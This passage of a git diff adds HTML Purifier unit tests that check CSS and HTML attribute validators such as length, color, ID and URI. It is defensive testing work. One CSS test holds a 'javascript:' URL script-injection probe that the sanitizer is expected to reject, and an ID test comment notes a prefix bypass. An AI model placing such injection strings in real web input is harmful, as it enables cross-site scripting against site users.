+ $this->assertDef('23 !important', '24 !important');
+ }
+
+ public function testImportantWithSpace()
+ {
+ $this->setMock('23');
+ $this->assertDef('23 ! important ', '23 !important');
+ }
+
+ public function testFakeImportant()
+ {
+ $this->setMock('! foo important');
+ $this->assertDef('! foo important');
+ }
+
+ public function testStrip()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($this->mock, false);
+ $this->setMock('23');
+ $this->assertDef('23 ! important ', '23');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php
new file mode 100644
index 000000000..dd79f9060
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php
@@ -0,0 +1,49 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_LengthTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_Length();
+
+ $this->assertDef('0');
+ $this->assertDef('0px');
+ $this->assertDef('4.5px');
+ $this->assertDef('-4.5px');
+ $this->assertDef('3ex');
+ $this->assertDef('3em');
+ $this->assertDef('3in');
+ $this->assertDef('3cm');
+ $this->assertDef('3mm');
+ $this->assertDef('3pt');
+ $this->assertDef('3pc');
+
+ $this->assertDef('3PX', '3px');
+
+ $this->assertDef('3', false);
+ $this->assertDef('3miles', false);
+
+ }
+
+ public function testNonNegative()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_Length('0');
+
+ $this->assertDef('3cm');
+ $this->assertDef('-3mm', false);
+
+ }
+
+ public function testBounding()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_Length('-1in', '1in');
+ $this->assertDef('1cm');
+ $this->assertDef('-1cm');
+ $this->assertDef('0');
+ $this->assertDef('1em', false);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php
new file mode 100644
index 000000000..7cd834647
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php
@@ -0,0 +1,35 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_ListStyleTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $config = HTMLPurifier_Config::createDefault();
+ $this->def = new HTMLPurifier_AttrDef_CSS_ListStyle($config);
+
+ $this->assertDef('lower-alpha');
+ $this->assertDef('upper-roman inside');
+ $this->assertDef('circle outside');
+ $this->assertDef('inside');
+ $this->assertDef('none');
+ $this->assertDef('url("foo.gif")');
+ $this->assertDef('circle url("foo.gif") inside');
+
+ // invalid values
+ $this->assertDef('outside inside', 'outside');
+
+ // ordering
+ $this->assertDef('url(foo.gif) none', 'none url("foo.gif")');
+ $this->assertDef('circle lower-alpha', 'circle');
+ // the spec is ambiguous about what happens in these
+ // cases, so we're going off the W3C CSS validator
+ $this->assertDef('disc none', 'disc');
+ $this->assertDef('none disc', 'none');
+
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php
new file mode 100644
index 000000000..e2725f74e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php
@@ -0,0 +1,29 @@
+<?php
+
+// borrowed for the sakes of this test
+class HTMLPurifier_AttrDef_CSS_MultipleTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_Multiple(
+ new HTMLPurifier_AttrDef_Integer()
+ );
+
+ $this->assertDef('1 2 3 4');
+ $this->assertDef('6');
+ $this->assertDef('4 5');
+ $this->assertDef(' 2 54 2 3', '2 54 2 3');
+ $this->assertDef("6\r3", '6 3');
+
+ $this->assertDef('asdf', false);
+ $this->assertDef('a s d f', false);
+ $this->assertDef('1 2 3 4 5', '1 2 3 4');
+ $this->assertDef('1 2 invalid 3', '1 2 3');
+
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php
new file mode 100644
index 000000000..943bf5c0b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php
@@ -0,0 +1,51 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_NumberTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_Number();
+
+ $this->assertDef('0');
+ $this->assertDef('0.0', '0');
+ $this->assertDef('1.0', '1');
+ $this->assertDef('34');
+ $this->assertDef('4.5');
+ $this->assertDef('.5');
+ $this->assertDef('0.5', '.5');
+ $this->assertDef('-56.9');
+
+ $this->assertDef('0.', '0');
+ $this->assertDef('.0', '0');
+ $this->assertDef('0.0', '0');
+
+ $this->assertDef('1.', '1');
+ $this->assertDef('.1', '.1');
+
+ $this->assertDef('1.0', '1');
+ $this->assertDef('0.1', '.1');
+
+ $this->assertDef('000', '0');
+ $this->assertDef(' 9', '9');
+ $this->assertDef('+5.0000', '5');
+ $this->assertDef('02.20', '2.2');
+ $this->assertDef('2.', '2');
+
+ $this->assertDef('.', false);
+ $this->assertDef('asdf', false);
+ $this->assertDef('0.5.6', false);
+
+ }
+
+ public function testNonNegative()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_Number(true);
+ $this->assertDef('23');
+ $this->assertDef('-12', false);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php
new file mode 100644
index 000000000..5aa0090f0
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php
@@ -0,0 +1,24 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_PercentageTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_Percentage();
+
+ $this->assertDef('10%');
+ $this->assertDef('1.607%');
+ $this->assertDef('-567%');
+
+ $this->assertDef(' 100% ', '100%');
+
+ $this->assertDef('5', false);
+ $this->assertDef('asdf', false);
+ $this->assertDef('%', false);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php
new file mode 100644
index 000000000..fbefc6af6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php
@@ -0,0 +1,27 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_TextDecorationTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function testCaseInsensitive()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_TextDecoration();
+
+ $this->assertDef('none');
+ $this->assertDef('none underline', 'underline');
+
+ $this->assertDef('underline');
+ $this->assertDef('overline');
+ $this->assertDef('line-through overline underline');
+ $this->assertDef('overline line-through');
+ $this->assertDef('UNDERLINE', 'underline');
+ $this->assertDef(' underline line-through ', 'underline line-through');
+
+ $this->assertDef('foobar underline', 'underline');
+ $this->assertDef('blink', false);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php
new file mode 100644
index 000000000..a29f6e909
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php
@@ -0,0 +1,29 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_URITest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_URI();
+
+ $this->assertDef('', false);
+
+ // we could be nice but we won't be
+ $this->assertDef('http://www.example.com/', false);
+
+ $this->assertDef('url(', false);
+ $this->assertDef('url("")', true);
+ $result = 'url("http://www.example.com/")';
+ $this->assertDef('url(http://www.example.com/)', $result);
+ $this->assertDef('url("http://www.example.com/")', $result);
+ $this->assertDef("url('http://www.example.com/')", $result);
+ $this->assertDef(
+ ' url( "http://www.example.com/" ) ', $result);
+ $this->assertDef("url(http://www.example.com/foo,bar\)\'\()",
+ 'url("http://www.example.com/foo,bar%29%27%28")');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php
new file mode 100644
index 000000000..cff811bc9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php
@@ -0,0 +1,170 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSSTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function setup()
+ {
+ parent::setup();
+ $this->def = new HTMLPurifier_AttrDef_CSS();
+ }
+
+ public function test()
+ {
+ // regular cases, singular
+ $this->assertDef('text-align:right;');
+ $this->assertDef('border-left-style:solid;');
+ $this->assertDef('border-style:solid dotted;');
+ $this->assertDef('clear:right;');
+ $this->assertDef('float:left;');
+ $this->assertDef('font-style:italic;');
+ $this->assertDef('font-variant:small-caps;');
+ $this->assertDef('font-weight:bold;');
+ $this->assertDef('list-style-position:outside;');
+ $this->assertDef('list-style-type:upper-roman;');
+ $this->assertDef('list-style:upper-roman inside;');
+ $this->assertDef('text-transform:capitalize;');
+ $this->assertDef('background-color:rgb(0,0,255);');
+ $this->assertDef('background-color:transparent;');
+ $this->assertDef('background:#333 url("chess.png") repeat fixed 50% top;');
+ $this->assertDef('color:#F00;');
+ $this->assertDef('border-top-color:#F00;');
+ $this->assertDef('border-color:#F00 #FF0;');
+ $this->assertDef('border-top-width:thin;');
+ $this->assertDef('border-top-width:12px;');
+ $this->assertDef('border-width:5px 1px 4px 2px;');
+ $this->assertDef('border-top-width:-12px;', false);
+ $this->assertDef('letter-spacing:normal;');
+ $this->assertDef('letter-spacing:2px;');
+ $this->assertDef('word-spacing:normal;');
+ $this->assertDef('word-spacing:3em;');
+ $this->assertDef('font-size:200%;');
+ $this->assertDef('font-size:larger;');
+ $this->assertDef('font-size:12pt;');
+ $this->assertDef('line-height:2;');
+ $this->assertDef('line-height:2em;');
+ $this->assertDef('line-height:20%;');
+ $this->assertDef('line-height:normal;');
+ $this->assertDef('line-height:-20%;', false);
+ $this->assertDef('margin-left:5px;');
+ $this->assertDef('margin-right:20%;');
+ $this->assertDef('margin-top:auto;');
+ $this->assertDef('margin:auto 5%;');
+ $this->assertDef('padding-bottom:5px;');
+ $this->assertDef('padding-top:20%;');
+ $this->assertDef('padding:20% 10%;');
+ $this->assertDef('padding-top:-20%;', false);
+ $this->assertDef('text-indent:3em;');
+ $this->assertDef('text-indent:5%;');
+ $this->assertDef('text-indent:-3em;');
+ $this->assertDef('width:50%;');
+ $this->assertDef('width:50px;');
+ $this->assertDef('width:auto;');
+ $this->assertDef('width:-50px;', false);
+ $this->assertDef('text-decoration:underline;');
+ $this->assertDef('font-family:sans-serif;');
+ $this->assertDef("font-family:Gill, 'Times New Roman', sans-serif;");
+ $this->assertDef('font:12px serif;');
+ $this->assertDef('border:1px solid #000;');
+ $this->assertDef('border-bottom:2em double #FF00FA;');
+ $this->assertDef('border-collapse:collapse;');
+ $this->assertDef('border-collapse:separate;');
+ $this->assertDef('caption-side:top;');
+ $this->assertDef('vertical-align:middle;');
+ $this->assertDef('vertical-align:12px;');
+ $this->assertDef('vertical-align:50%;');
+ $this->assertDef('table-layout:fixed;');
+ $this->assertDef('list-style-image:url("nice.jpg");');
+ $this->assertDef('list-style:disc url("nice.jpg") inside;');
+ $this->assertDef('background-image:url("foo.jpg");');
+ $this->assertDef('background-image:none;');
+ $this->assertDef('background-repeat:repeat-y;');
+ $this->assertDef('background-attachment:fixed;');
+ $this->assertDef('background-position:left 90%;');
+ $this->assertDef('border-spacing:1em;');
+ $this->assertDef('border-spacing:1em 2em;');
+
+ // duplicates
+ $this->assertDef('text-align:right;text-align:left;',
+ 'text-align:left;');
+
+ // a few composites
+ $this->assertDef('font-variant:small-caps;font-weight:900;');
+ $this->assertDef('float:right;text-align:right;');
+
+ // selective removal
+ $this->assertDef('text-transform:capitalize;destroy:it;',
+ 'text-transform:capitalize;');
+
+ // inherit works for everything
+ $this->assertDef('text-align:inherit;');
+
+ // bad props
+ $this->assertDef('nodice:foobar;', false);
+ $this->assertDef('position:absolute;', false);
+ $this->assertDef('background-image:url(\'javascript:alert\(\)\');', false);
+
+ // airy input
+ $this->assertDef(' font-weight : bold; color : #ff0000',
+ 'font-weight:bold;color:#ff0000;');
+
+ // case-insensitivity
+ $this->assertDef('FLOAT:LEFT;', 'float:left;');
+
+ // !important stripping
+ $this->assertDef('float:left !important;', 'float:left;');
+
+ }
+
+ public function testProprietary()
+ {
+ $this->config->set('CSS.Proprietary', true);
+
+ $this->assertDef('scrollbar-arrow-color:#ff0;');
+ $this->assertDef('scrollbar-base-color:#ff6347;');
+ $this->assertDef('scrollbar-darkshadow-color:#ffa500;');
+ $this->assertDef('scrollbar-face-color:#008080;');
+ $this->assertDef('scrollbar-highlight-color:#ff69b4;');
+ $this->assertDef('scrollbar-shadow-color:#f0f;');
+
+ $this->assertDef('opacity:.2;');
+ $this->assertDef('-moz-opacity:.2;');
+ $this->assertDef('-khtml-opacity:.2;');
+ $this->assertDef('filter:alpha(opacity=20);');
+
+ }
+
+ public function testImportant()
+ {
+ $this->config->set('CSS.AllowImportant', true);
+ $this->assertDef('float:left !important;');
+ }
+
+ public function testTricky()
+ {
+ $this->config->set('CSS.AllowTricky', true);
+ $this->assertDef('display:none;');
+ $this->assertDef('visibility:visible;');
+ $this->assertDef('overflow:scroll;');
+ }
+
+ public function testForbidden()
+ {
+ $this->config->set('CSS.ForbiddenProperties', 'float');
+ $this->assertDef('float:left;', false);
+ $this->assertDef('text-align:right;');
+ }
+
+ public function testTrusted()
+ {
+ $this->config->set('CSS.Trusted', true);
+ $this->assertDef('position:relative;');
+ $this->assertDef('left:2px;');
+ $this->assertDef('right:100%;');
+ $this->assertDef('top:auto;');
+ $this->assertDef('z-index:-2;');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php
new file mode 100644
index 000000000..dda4dae13
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php
@@ -0,0 +1,41 @@
+<?php
+
+class HTMLPurifier_AttrDef_EnumTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function testCaseInsensitive()
+ {
+ $this->def = new HTMLPurifier_AttrDef_Enum(array('one', 'two'));
+ $this->assertDef('one');
+ $this->assertDef('ONE', 'one');
+ }
+
+ public function testCaseSensitive()
+ {
+ $this->def = new HTMLPurifier_AttrDef_Enum(array('one', 'two'), true);
+ $this->assertDef('one');
+ $this->assertDef('ONE', false);
+ }
+
+ public function testFixing()
+ {
+ $this->def = new HTMLPurifier_AttrDef_Enum(array('one'));
+ $this->assertDef(' one ', 'one');
+ }
+
+ public function test_make()
+ {
+ $factory = new HTMLPurifier_AttrDef_Enum();
+
+ $def = $factory->make('foo,bar');
+ $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'bar'));
+ $this->assertIdentical($def, $def2);
+
+ $def = $factory->make('s:foo,BAR');
+ $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'BAR'), true);
+ $this->assertIdentical($def, $def2);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php
new file mode 100644
index 000000000..ca7903270
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php
@@ -0,0 +1,24 @@
+<?php
+
+class HTMLPurifier_AttrDef_HTML_BoolTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_HTML_Bool('foo');
+ $this->assertDef('foo');
+ $this->assertDef('', false);
+ $this->assertDef('bar', 'foo');
+ }
+
+ public function test_make()
+ {
+ $factory = new HTMLPurifier_AttrDef_HTML_Bool();
+ $def = $factory->make('foo');
+ $def2 = new HTMLPurifier_AttrDef_HTML_Bool('foo');
+ $this->assertIdentical($def, $def2);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php
new file mode 100644
index 000000000..8961f4641
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php
@@ -0,0 +1,53 @@
+<?php
+
+class HTMLPurifier_AttrDef_HTML_ClassTest extends HTMLPurifier_AttrDef_HTML_NmtokensTest
+{
+ public function setUp()
+ {
+ parent::setUp();
+ $this->def = new HTMLPurifier_AttrDef_HTML_Class();
+ }
+ public function testAllowedClasses()
+ {
+ $this->config->set('Attr.AllowedClasses', array('foo'));
+ $this->assertDef('foo');
+ $this->assertDef('bar', false);
+ $this->assertDef('foo bar', 'foo');
+ }
+ public function testForbiddenClasses()
+ {
+ $this->config->set('Attr.ForbiddenClasses', array('bar'));
+ $this->assertDef('foo');
+ $this->assertDef('bar', false);
+ $this->assertDef('foo bar', 'foo');
+ }
+ public function testDefault()
+ {
+ $this->assertDef('valid');
+ $this->assertDef('a0-_');
+ $this->assertDef('-valid');
+ $this->assertDef('_valid');
+ $this->assertDef('double valid');
+
+ $this->assertDef('0stillvalid');
+ $this->assertDef('-0');
+
+ // test conditional replacement
+ $this->assertDef('validassoc 0valid', 'validassoc 0valid');
+
+ // test whitespace leniency
+ $this->assertDef(" double\nvalid\r", 'double valid');
+
+ // test case sensitivity
+ $this->assertDef('VALID');
+
+ // test duplicate removal
+ $this->assertDef('valid valid', 'valid');
+ }
+ public function testXHTML11Behavior()
+ {
+ $this->config->set('HTML.Doctype', 'XHTML 1.1');
+ $this->assertDef('0invalid', false);
+ $this->assertDef('valid valid', 'valid');
+ }
+}
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php
new file mode 100644
index 000000000..01c279a52
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php
@@ -0,0 +1,22 @@
+<?php
+
+class HTMLPurifier_AttrDef_HTML_ColorTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_HTML_Color();
+ $this->assertDef('', false);
+ $this->assertDef('foo', false);
+ $this->assertDef('43', false);
+ $this->assertDef('red', '#FF0000');
+ $this->assertDef('RED', '#FF0000');
+ $this->assertDef('#FF0000');
+ $this->assertDef('#453443');
+ $this->assertDef('453443', '#453443');
+ $this->assertDef('#345', '#334455');
+ $this->assertDef('120', '#112200');
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php
new file mode 100644
index 000000000..4f9f9292f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php
@@ -0,0 +1,31 @@
+<?php
+
+class HTMLPurifier_AttrDef_HTML_FrameTargetTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function setup()
+ {
+ parent::setup();
+ $this->def = new HTMLPurifier_AttrDef_HTML_FrameTarget();
+ }
+
+ public function testNoneAllowed()
+ {
+ $this->assertDef('', false);
+ $this->assertDef('foo', false);
+ $this->assertDef('_blank', false);
+ $this->assertDef('baz', false);
+ }
+
+ public function test()
+ {
+ $this->config->set('Attr.AllowedFrameTargets', 'foo,_blank');
+ $this->assertDef('', false);
+ $this->assertDef('foo');
+ $this->assertDef('_blank');
+ $this->assertDef('baz', false);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php
new file mode 100644
index 000000000..31870d228
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php
@@ -0,0 +1,110 @@
+<?php
+
+class HTMLPurifier_AttrDef_HTML_IDTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+
+ $id_accumulator = new HTMLPurifier_IDAccumulator();
+ $this->context->register('IDAccumulator', $id_accumulator);
+ $this->config->set('Attr.EnableID', true);
+ $this->def = new HTMLPurifier_AttrDef_HTML_ID();
+
+ }
+
+ public function test()
+ {
+ // valid ID names
+ $this->assertDef('alpha');
+ $this->assertDef('al_ha');
+ $this->assertDef('a0-:.');
+ $this->assertDef('a');
+
+ // invalid ID names
+ $this->assertDef('<asa', false);
+ $this->assertDef('0123', false);
+ $this->assertDef('.asa', false);
+
+ // test duplicate detection
+ $this->assertDef('once');
+ $this->assertDef('once', false);
+
+ // valid once whitespace stripped, but needs to be amended
+ $this->assertDef(' whee ', 'whee');
+
+ }
+
+ public function testPrefix()
+ {
+ $this->config->set('Attr.IDPrefix', 'user_');
+
+ $this->assertDef('alpha', 'user_alpha');
+ $this->assertDef('<asa', false);
+ $this->assertDef('once', 'user_once');
+ $this->assertDef('once', false);
+
+ // if already prefixed, leave alone
+ $this->assertDef('user_alas');
+ $this->assertDef('user_user_alas'); // how to bypass
+
+ }
+
+ public function testTwoPrefixes()
+ {
+ $this->config->set('Attr.IDPrefix', 'user_');
+ $this->config->set('Attr.IDPrefixLocal', 'story95_');
+
+ $this->assertDef('alpha', 'user_story95_alpha');
+ $this->assertDef('<asa', false);
+ $this->assertDef('once', 'user_story95_once');
+ $this->assertDef('once', false);
+
+ $this->assertDef('user_story95_alas');
+ $this->assertDef('user_alas', 'user_story95_user_alas'); // !
+ }
+
+ public function testLocalPrefixWithoutMainPrefix()
+ {
+ // no effect when IDPrefix isn't set
+ $this->config->set('Attr.IDPrefix', '');
+ $this->config->set('Attr.IDPrefixLocal', 'story95_');
+ $this->expectError('%Attr.IDPrefixLocal cannot be used unless '.
+ '%Attr.IDPrefix is set');
+ $this->assertDef('amherst');
+
+ }
+
+ // reference functionality is disabled for now
+ public function disabled_testIDReference()
+ {
+ $this->def = new HTMLPurifier_AttrDef_HTML_ID(true);
+
+ $this->assertDef('good_id');
+ $this->assertDef('good_id'); // duplicates okay
+ $this->assertDef('<b>', false);
+
+ $this->def = new HTMLPurifier_AttrDef_HTML_ID();
+
+ $this->assertDef('good_id');
+ $this->assertDef('good_id', false); // duplicate now not okay
+
+ $this->def = new HTMLPurifier_AttrDef_HTML_ID(true);
+
+ $this->assertDef('good_id'); // reference still okay
+
+ }
+
+ public function testRegexp()
+ {
+ $this->config->set('Attr.IDBlacklistRegexp', '/^g_/');
+
+ $this->assertDef('good_id');
+ $this->assertDef('g_bad_id', false);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php
new file mode 100644
index 000000000..91f3de7e5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php
@@ -0,0 +1,33 @@
+<?php
+
+class HTMLPurifier_AttrDef_HTML_LengthTest extends HTMLPurifier_AttrDef_HTML_PixelsTest
+{
+
+ public function setup()
+ {
+ $this->def = new HTMLPurifier_AttrDef_HTML_Length();
+ }
+
+ public function test()
+ {
+ // pixel check
+ parent::test();
+
+ // percent check
+ $this->assertDef('25%');
+
+ // Firefox maintains percent, so will we
+ $this->assertDef('0%');
+
+ // 0% <= percent <= 100%
+ $this->assertDef('-15%', '0%');
+ $this->assertDef('120%', '100%');
+
+ // fractional percents, apparently, aren't allowed
+ $this->assertDef('56.5%', '56%');
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php
new file mode 100644
index 000000000..ad30aa782
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php
@@ -0,0 +1,21 @@
+<?php
+
+class HTMLPurifier_AttrDef_HTML_LinkTypesTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function testNull()
+ {
+ $this->def = new HTMLPurifier_AttrDef_HTML_LinkTypes('rel');
+ $this->config->set('Attr.AllowedRel', array('nofollow', 'foo'));
+
+ $this->assertDef('', false);
+ $this->assertDef('nofollow', true);
+ $this->assertDef('nofollow foo', true);
+ $this->assertDef('nofollow bar', 'nofollow');
+ $this->assertDef('bar', false);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php
new file mode 100644
index 000000000..d1b3f13f3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php
@@ -0,0 +1,29 @@
+<?php
+
+class HTMLPurifier_AttrDef_HTML_MultiLengthTest extends HTMLPurifier_AttrDef_HTML_LengthTest
+{
+
+ public function setup()
+ {
+ $this->def = new HTMLPurifier_AttrDef_HTML_MultiLength();
+ }
+
+ public function test()
+ {
+ // length check
+ parent::test();
+
+ $this->assertDef('*');
+ $this->assertDef('1*', '*');
+ $this->assertDef('56*');
+
+ $this->assertDef('**', false); // plain old bad
+
+ $this->assertDef('5.4*', '5*'); // no decimals
+ $this->assertDef('-3*', false); // no negatives
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php
new file mode 100644
index 000000000..d466146e4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php
@@ -0,0 +1,36 @@
+<?php
+
+class HTMLPurifier_AttrDef_HTML_NmtokensTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->def = new HTMLPurifier_AttrDef_HTML_Nmtokens();
+ }
+
+ public function testDefault()
+ {
+ $this->assertDef('valid');
+ $this->assertDef('a0-_');
+ $this->assertDef('-valid');
+ $this->assertDef('_valid');
+ $this->assertDef('double valid');
+
+ $this->assertDef('0invalid', false);
+ $this->assertDef('-0', false);
+
+ // test conditional replacement
+ $this->assertDef('validassoc 0invalid', 'validassoc');
+
+ // test whitespace leniency
+ $this->assertDef(" double\nvalid\r", 'double valid');
+
+ // test case sensitivity
+ $this->assertDef('VALID');
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php
new file mode 100644
index 000000000..c7f36772d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php
@@ -0,0 +1,47 @@
+<?php
+
+class HTMLPurifier_AttrDef_HTML_PixelsTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function setup()
+ {
+ $this->def = new HTMLPurifier_AttrDef_HTML_Pixels();
+ }
+
+ public function test()
+ {
+ $this->assertDef('1');
+ $this->assertDef('0');
+
+ $this->assertDef('2px', '2'); // rm px suffix
+
+ $this->assertDef('dfs', false); // totally invalid value
+
+ // conceivably we could repair this value, but we won't for now
+ $this->assertDef('9in', false);
+
+ // test trim
+ $this->assertDef(' 45 ', '45');
+
+ // no negatives
+ $this->assertDef('-2', '0');
+
+ // remove empty
